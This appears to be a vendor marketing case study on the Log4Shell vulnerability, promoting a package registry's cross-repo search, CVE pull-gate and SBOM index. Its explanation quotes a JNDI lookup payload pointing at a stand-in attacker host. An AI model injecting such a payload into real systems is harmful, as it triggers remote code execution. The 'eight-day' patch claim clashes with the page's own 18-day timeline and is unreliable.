OrbitalReg Sign in →

Supply-chain case study · retrospective

Log4Shell · December 2021

Log4Shell: the day every Java shop went looking for a JAR.

CVE-2021-44228. CVSS 10.0. A pre-auth remote code execution against anything that ever logged an attacker-controlled string through log4j 2.x. The patch was simple. The hard part was finding every JVM in your fleet that had log4j on the classpath — transitively, sometimes five levels deep.

The vulnerability

Two lines of attacker input.

  1. 01. JNDI lookup substitution. log4j 2.x supports message lookups of the form $${jndi:ldap://attacker.com/x}. The framework reaches out, fetches a remote Java class, and loads it.
  2. 02. Any logged string becomes an exploit surface. A User-Agent, a search query, a chat message, an item description — anything that ends up in a log call with the default pattern layout. The framework substitutes the lookup string before writing the log line.
  3. 03. Pre-auth, network-reachable, ubiquitous. No login required, no special headers, no shell access. If the application logs and is reachable from the network, it's vulnerable. log4j ships in basically every JVM-based stack — Tomcat, Elasticsearch, Solr, Kafka, Spring, Struts.
  4. 04. Four patches in eight days. 2.15.0 fixed the LDAP fetch but left a DoS. 2.16.0 disabled lookups by default but missed a Thread Context bypass. 2.17.0 fixed that. 2.17.1 fixed yet another JDBC Appender bypass (CVE-2021-44832). Every iteration meant re-deploying every JVM in the org.
The actual incident-response bottleneck. The patch landed in 24 hours. Knowing where to apply it took weeks at every organisation that lacked centralised artifact visibility. Teams ran find / -name "log4j*.jar" across thousands of hosts. Many missed it because log4j was a five-level-deep transitive dependency they'd never explicitly added.

The structural gap

Why you couldn't find log4j in your own fleet.

In most enterprise Java shops, Maven artifacts come from a mix of public Maven Central, internal Nexus / Artifactory mirrors, and ad-hoc local repos developers added years ago and never documented. There is no single point that sees every log4j-core jar that ever entered the org.

Transitive dependencies make this worse. Spring Boot pulls Spring Cloud pulls a third-party library that pulls log4j — the developer who added Spring Boot has no idea log4j is in the closure. A team-by-team mvn dependency:tree sweep would have produced the answer in two weeks, which is exactly what happened at most organisations.

The fix is not a smarter scanner. It's a registry that indexes every artifact and its transitive dependencies at upload time, and exposes that index as a single API. Then "where is log4j-core 2.x in our fleet" is a query, not a hunt.

The OrbitalReg defense pattern

Three answers to "where is log4j?"

01

Cross-repo CVE search

/api/v1/search?format=maven&query=log4j-core returns every matching artifact across every Maven repo the registry serves — local, remote, virtual. Versions, projects, last-pull timestamps. The answer comes back in seconds, not weeks. Filter to vulnerable version ranges and you have the patch worklist.

02

Pull-gate on critical

Once GHSA-jfh8-c2jp-5v3q landed (10 Dec 2021), the verify-on-pull gate marks every log4j 2.0 – 2.14.1 as critical. Builds that try to pull a vulnerable version receive a 403 with the GHSA ID. Buys your patch-team time without depending on every dev to notice the headline.

03

SBOM transitive index

Every upload produces a CycloneDX SBOM. The registry indexes the full dependency closure, so the question "which of our first-party builds transitively depend on log4j-core" answers the same way — single API call, sub-second. No mvn dependency:tree tour required.

What this composes to. The morning of Dec 10, 2021, the on-call team at an OrbitalReg-mediated org runs one search query, gets the list of every project carrying a vulnerable log4j-core, exports it to the incident channel, and starts patching. By the time the rest of the industry was still answering "do we have log4j" questions, the visibility-equipped team is on "have we deployed 2.17.0 to all of them yet."

Config sketch

Maven proxy with critical-CVE gate.

Set this up for every Maven repo in the org and the fleet gets the gate for free. The cross-repo search and SBOM index come along with it.

# Mirror Maven Central with CVE detection + pull-gate.

orbital repo create maven-central \
  --format=maven --kind=remote \
  --upstream=https://repo1.maven.org/maven2 \
  --scanner=trivy,grype,osv \
  --sbom=cyclonedx-on-upload \
  --pull-gate=block-on-cve-critical

# Then, the morning of a CVE disclosure:
orbital search --format=maven \
  --query=log4j-core \
  --version-range=">=2.0,<2.17.0"

For your records

Log4Shell timeline.

2021-11-24
Chen Zhaojun of Alibaba Cloud Security privately discloses the JNDI lookup vulnerability to the Apache log4j team. No public CVE yet.
2021-12-09
PoC of the vulnerability is posted publicly on Twitter before the planned coordinated disclosure. Within hours, opportunistic mass scanning begins. NVD assigns CVE-2021-44228. CVSS 10.0.
2021-12-10
Apache releases log4j 2.15.0 with the JNDI lookup disabled by default. GHSA-jfh8-c2jp-5v3q published — at this point OSV-feeds carry the advisory and any registry running verify-on-pull on critical CVEs starts blocking the vulnerable versions automatically.
2021-12-13
2.15.0 found to allow DoS in specific configurations (CVE-2021-45046). log4j 2.16.0 released.
2021-12-17
2.16.0 found to allow DoS via uncontrolled recursion in self-referential Thread Context lookups (CVE-2021-45105). log4j 2.17.0 released.
2021-12-28
2.17.0 found vulnerable in a niche JDBC Appender path (CVE-2021-44832). log4j 2.17.1 released. The eight-day patch storm closes; "where is log4j?" remains an open question at most large organisations for weeks longer.

Honest caveats

What this does not claim.

It does not protect against the zero-day window. Between the Twitter PoC on Dec 9 and the GHSA filing on Dec 10, no scanner had a current entry. Anyone who pulled fresh during that ~24 h was on their own. Faster than that is not something a registry can deliver — it's a function of when the advisory feed updates.

It does not patch your already-deployed servers. The gate prevents new pulls of vulnerable versions. Servers already running log4j-2.14 will keep running it until the next deploy. The cross-repo search tells you where they are; deploying the fix is still your CI/CD's job.

It does not see runtime classpath. OrbitalReg sees what your build pulled. If somebody side-loaded a log4j jar via ops scripting that bypassed the registry, OrbitalReg has no visibility. Classpath inventory at runtime is an agent-based problem; we're an artifact-store problem.

SBOM-coverage requires upstream cooperation. Many open-source Maven artifacts still don't ship SBOMs. OrbitalReg can generate one from binary contents (jar scanning), but that's a heuristic — it'll see direct deps, miss reflectively-loaded classes. Direct deps are 95% of the log4j-detection signal; not 100%.

Primary sources

Want fleet-wide visibility before the next critical CVE?

Talk to us about cross-repo CVE search.

Rico, the founder, walks you through how a single OrbitalReg instance can index every Maven repo in your org, expose the SBOM-transitive view, and feed the answers directly to your incident-response runbooks.